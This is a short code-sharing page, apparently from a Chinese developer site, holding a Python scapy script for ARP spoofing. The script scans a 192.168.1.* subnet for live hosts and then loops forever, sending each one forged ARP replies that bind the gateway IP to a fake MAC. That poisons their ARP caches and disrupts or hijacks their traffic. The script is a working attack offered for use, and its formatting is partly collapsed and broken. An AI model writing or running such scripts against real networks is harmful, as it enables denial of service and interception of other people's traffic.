python arp欺騙偽造網關代碼

mn6e 9年前發布 | 4K 次閱讀 Python

#coding:utf-8
'''
arp欺騙局域網pc,將偽造的網關mac以網關的arp應答發送給pc
'''
from scapy.all import ARP,send,arping
import sys,re

stdout=sys.stdout IPADDR="192.168.1.*" gateway_ip='192.168.1.1'

偽造網關mac地址

gateway_hw='00:11:22:33:44:55' p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)

def arp_hack(ip,hw):

#偽造來自網關的arp應答
t=p
t.hwdst=hw
t.pdst=ip
send(t)

def get_host():

#得到在線主機的mac地址和對應ip地址
hw_ip = {}
sys.stdout = open('host.info','w')
arping(IPADDR)
sys.stdout = stdout
f = open('host.info','r')
info = f.readlines()
f.close
del info[0]
del info[0]
for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]

return hw_ip



if name == "main": hw_ip = get_host() while 1 : for i in hw_ip : arp_hack(hw=i,ip=hw_ip[i])</pre>

 本文由用戶 mn6e 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!